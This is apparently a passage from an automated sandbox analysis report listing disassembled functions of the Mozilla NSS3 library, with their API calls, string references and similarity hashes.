PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C811193), ref: 6C811D3D

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C811193), ref: 6C811D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C811193), ref: 6C811D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C811193), ref: 6C811D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C811193), ref: 6C811D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C811193), ref: 6C811D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C811193), ref: 6C811D93
PR_DestroyLock.NSS3(00000000,?,?,6C811193), ref: 6C811D9F
free.MOZGLUE(00000000,?,6C811193), ref: 6C811DA8

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 4468bdb1060bcd4c352beac36369694c1b6baf0e5840685d28201d6e8b5dd823
Instruction ID: cd69f1eaccf644222c2509cf156d06c6ba2fc97b4108c5f494b52fc20a12e07d
Opcode Fuzzy Hash: 4468bdb1060bcd4c352beac36369694c1b6baf0e5840685d28201d6e8b5dd823
Instruction Fuzzy Hash: 3131E6F5E007025FEB219F65AD45A677AF4AF1660DB044839E84A87F41FB31E408CBA6

Function 6C725E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C725ECF
EnterCriticalSection.KERNEL32(?), ref: 6C725EE3
PR_Unlock.NSS3(?), ref: 6C725F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C725FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C7261F4
S&tl, xrefs: 6C725E6C, 6C72627F, 6C725F12
S&tl, xrefs: 6C7262E3

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&tl$S&tl
API String ID: 2280678669-3603847617
Opcode ID: 2684eacac455e722b4813bd71967e493ca0307c862177ab6b1cb491b58088977
Instruction ID: fe6d664eccdd94d0348f31d852998f4d2dbd1cd341e2389bdbfdf7c369760257
Opcode Fuzzy Hash: 2684eacac455e722b4813bd71967e493ca0307c862177ab6b1cb491b58088977
Instruction Fuzzy Hash: 12F1E5B5A002158FDB54CF18C984B86BBF4FF09308F5582AAD8089F746E774EA95CF91

Function 6C770C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,wl), ref: 6C770C81

Part of subcall function 6C75BE30: SECOID_FindOID_Util.NSS3(6C71311B,00000000,?,6C71311B,?), ref: 6C75BE44

Part of subcall function 6C748500: SECOID_GetAlgorithmTag_Util.NSS3(6C7495DC,00000000,00000000,00000000,?,6C7495DC,00000000,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C748517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C770CC4

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C770CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C770D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C770D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C770D7D
free.MOZGLUE(00000000), ref: 6C770DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C770DC1
free.MOZGLUE(00000000), ref: 6C770DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C770E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C770E0F

Part of subcall function 6C7495C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C7495E0
Part of subcall function 6C7495C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C7495F5
Part of subcall function 6C7495C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C749609
Part of subcall function 6C7495C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C74961D
Part of subcall function 6C7495C0: PK11_GetInternalSlot.NSS3 ref: 6C74970B
Part of subcall function 6C7495C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C749756
Part of subcall function 6C7495C0: PK11_GetIVLength.NSS3(?), ref: 6C749767
Part of subcall function 6C7495C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C74977E
Part of subcall function 6C7495C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C74978E

Strings

-$wl, xrefs: 6C770C64
*,wl, xrefs: 6C770C69, 6C770DE0, 6C770C80, 6C770C8B, 6C770CAF
*,wl, xrefs: 6C770DCC

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,wl$*,wl$-$wl
API String ID: 3136566230-962488925
Opcode ID: 42c54cf8603e0a86bce4476d41abac19fd68b50bb4f3267426f1007664103001
Instruction ID: b816b922590dc016f9f17d4c8602b91850cafbd3d9f20ac6edf265c1ac21a9f6
Opcode Fuzzy Hash: 42c54cf8603e0a86bce4476d41abac19fd68b50bb4f3267426f1007664103001
Instruction Fuzzy Hash: 1241C2B5900249ABEF109F65DE4ABAF7678AF0530CF104134E91557742EB36EA18CBF2

Function 6C765CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C765EC0,00000000,?,?), ref: 6C765CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C765CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C765CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C765D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C765EC0,00000000,?,?), ref: 6C765D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C765D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C765D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C765D80

Strings

sql:, xrefs: 6C765CD1, 6C765D36
extern:, xrefs: 6C765CEA, 6C765D4B
NSS_DEFAULT_DB_TYPE, xrefs: 6C765D1A
dbm:, xrefs: 6C765D03, 6C765D60
multiaccess:, xrefs: 6C765CB8

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 0656853923052c7fae27e765aae91399a76000cbac106088fdd26c00461e82c0
Instruction ID: 506782f47e47f06acbe81903d69907ddcaada5a6c49d00d6120b605a568bb298
Opcode Fuzzy Hash: 0656853923052c7fae27e765aae91399a76000cbac106088fdd26c00461e82c0
Instruction Fuzzy Hash: B03124F07013016BF7A11A26EE8AB663768AF0234CF100430ED55A6FC3E7B5D401DAD5

Function 6C766CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C831DE0,?), ref: 6C766CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C766D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C766D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C766D82
DER_GetInteger_Util.NSS3(?), ref: 6C766DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C766DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C766E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C766F19
PK11_DigestBegin.NSS3(00000000), ref: 6C766F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C766F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C767011
PK11_FreeSymKey.NSS3(00000000), ref: 6C767033
free.MOZGLUE(?), ref: 6C76703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C767060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C767087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C7670AF

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 4e75a3662afee719bbbc03ee8ce2ef46331df9e35e4a63af6c3ea9d1ea724146
Instruction ID: 15695182e0a551636965d1327cba3d7b646bb0e24c1bfa7638be84504bee2bfe
Opcode Fuzzy Hash: 4e75a3662afee719bbbc03ee8ce2ef46331df9e35e4a63af6c3ea9d1ea724146
Instruction Fuzzy Hash: 0EA13B719042009BEB009F26CF59BAB3295EB8130CF648939ED58CBF81E775DA49C793

Function 6C72AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72AF39
PR_Unlock.NSS3(?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72AF69
TlsGetValue.KERNEL32 ref: 6C72B06B
EnterCriticalSection.KERNEL32(?), ref: 6C72B083
PR_Unlock.NSS3(?), ref: 6C72B0A4
TlsGetValue.KERNEL32 ref: 6C72B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C72B0D9
PR_Unlock.NSS3 ref: 6C72B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72B182

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C72B177

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C70AB95,00000000,?,00000000,00000000,00000000), ref: 6C72B1C2

Part of subcall function 6C751560: TlsGetValue.KERNEL32(00000000,?,6C720844,?), ref: 6C75157A
Part of subcall function 6C751560: EnterCriticalSection.KERNEL32(?,?,?,6C720844,?), ref: 6C75158F
Part of subcall function 6C751560: PR_Unlock.NSS3(?,?,?,?,6C720844,?), ref: 6C7515B2

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: d730e3ba7042663c4c4020d41573aa444626d04a222ac204b8d17bdc139191cb
Instruction ID: c1b015cd0b0ee875651b1edf76827e26d11eb400d37ee4f13a968c28503bdb09
Opcode Fuzzy Hash: d730e3ba7042663c4c4020d41573aa444626d04a222ac204b8d17bdc139191cb
Instruction Fuzzy Hash: 09A1D0B1D00206ABEF019F64DD49AEAB7B4FF08318F144134E805A7752E739E959CBE2

Function 6C722C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?rl,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722C62
EnterCriticalSection.KERNEL32(0000001C,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722C76
PL_HashTableLookup.NSS3(00000000,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722C93

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23,?), ref: 6C722CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?,?,6C723F23), ref: 6C722CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?), ref: 6C722CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C71E477,?,?,?,00000001,00000000,?), ref: 6C722D4D
EnterCriticalSection.KERNEL32(?), ref: 6C722D61
PL_HashTableLookup.NSS3(?,?), ref: 6C722D71
PR_Unlock.NSS3(?), ref: 6C722D7E

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

Strings

#?rl, xrefs: 6C722C43

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?rl
API String ID: 2446853827-3858320230
Opcode ID: 81fa02d3991c16a73ad500a9470deba3c6bbbebbb25dfb94b57c1b52be787219
Instruction ID: 6bde899d170c55d1eb8b69236df32dc17ad8e1285490f1eb3fc08e67014bf11c
Opcode Fuzzy Hash: 81fa02d3991c16a73ad500a9470deba3c6bbbebbb25dfb94b57c1b52be787219
Instruction Fuzzy Hash: ED5118B6D00105ABDB109F24DD498AAB7B8FF1936CB188530EC1897B12E735ED65CBE1

Function 6C77AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77ADB1

Part of subcall function 6C75BE30: SECOID_FindOID_Util.NSS3(6C71311B,00000000,?,6C71311B,?), ref: 6C75BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C77ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C77AE08

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C77AE25
PL_FreeArenaPool.NSS3 ref: 6C77AE63
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C77AE4D

Part of subcall function 6C684C70: TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
Part of subcall function 6C684C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
Part of subcall function 6C684C70: PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77AE93
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C77AECC
PL_FreeArenaPool.NSS3 ref: 6C77AEDE
PL_FinishArenaPool.NSS3 ref: 6C77AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77AEF5
PL_FinishArenaPool.NSS3 ref: 6C77AF16

Strings

security, xrefs: 6C77ADEE

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 47f78138e519e5a63728c0442528aca258328ee6e26b23ed04b45b6de50e89f8
Instruction ID: f1ca5f62e63362efbbfcefc0f4f31e0a639e24252ae5fceb298aa0420b2019bb
Opcode Fuzzy Hash: 47f78138e519e5a63728c0442528aca258328ee6e26b23ed04b45b6de50e89f8
Instruction Fuzzy Hash: 664126B1904208A7FF315B159E4EBAA32ACAF5232DF541635E81492F41FB75D60886F3

Function 6C81AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7C9890: TlsGetValue.KERNEL32(?,?,?,6C7C97EB), ref: 6C7C989E

EnterCriticalSection.KERNEL32(?), ref: 6C81AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C81AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C81AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C81AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C81B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C81B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C81B070
PR_JoinThread.NSS3(?), ref: 6C81B07B
free.MOZGLUE(?), ref: 6C81B084
EnterCriticalSection.KERNEL32(?), ref: 6C81B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C81B0C4
PR_JoinThread.NSS3(?), ref: 6C81B0F3
free.MOZGLUE(?), ref: 6C81B0FC
PR_JoinThread.NSS3(?), ref: 6C81B137
free.MOZGLUE(?), ref: 6C81B140

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 9348e060a05609b5fdf48c05f13947d95b57e0320873e6a34f8f9d02a57dee76
Instruction ID: ade8fa65ac2569e34a550ab842bde843d8e94d14a5c6d76e7f6204f9d31d7681
Opcode Fuzzy Hash: 9348e060a05609b5fdf48c05f13947d95b57e0320873e6a34f8f9d02a57dee76
Instruction Fuzzy Hash: 52917EB5A04602DFCB50DF15C984856BBF1FF4931C72985A9D8195BB22E732FC4ACB81

Function 6C795CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C792BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C792A28,00000060,00000001), ref: 6C792BF0
Part of subcall function 6C792BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C792A28,00000060,00000001), ref: 6C792C07
Part of subcall function 6C792BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C792A28,00000060,00000001), ref: 6C792C1E
Part of subcall function 6C792BE0: free.MOZGLUE(?,00000000,00000000,?,6C792A28,00000060,00000001), ref: 6C792C4A

free.MOZGLUE(?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D0F
free.MOZGLUE(?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D4E
free.MOZGLUE(?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D62
free.MOZGLUE(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D85
free.MOZGLUE(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795D99
free.MOZGLUE(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C795E3E
free.MOZGLUE(?,?,?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C795E47
free.MOZGLUE(?,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C79AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C795E78
free.MOZGLUE(?,?,?,?,?,?,?,6C79AAD4), ref: 6C795EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C79AAD4), ref: 6C795EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C795F3D
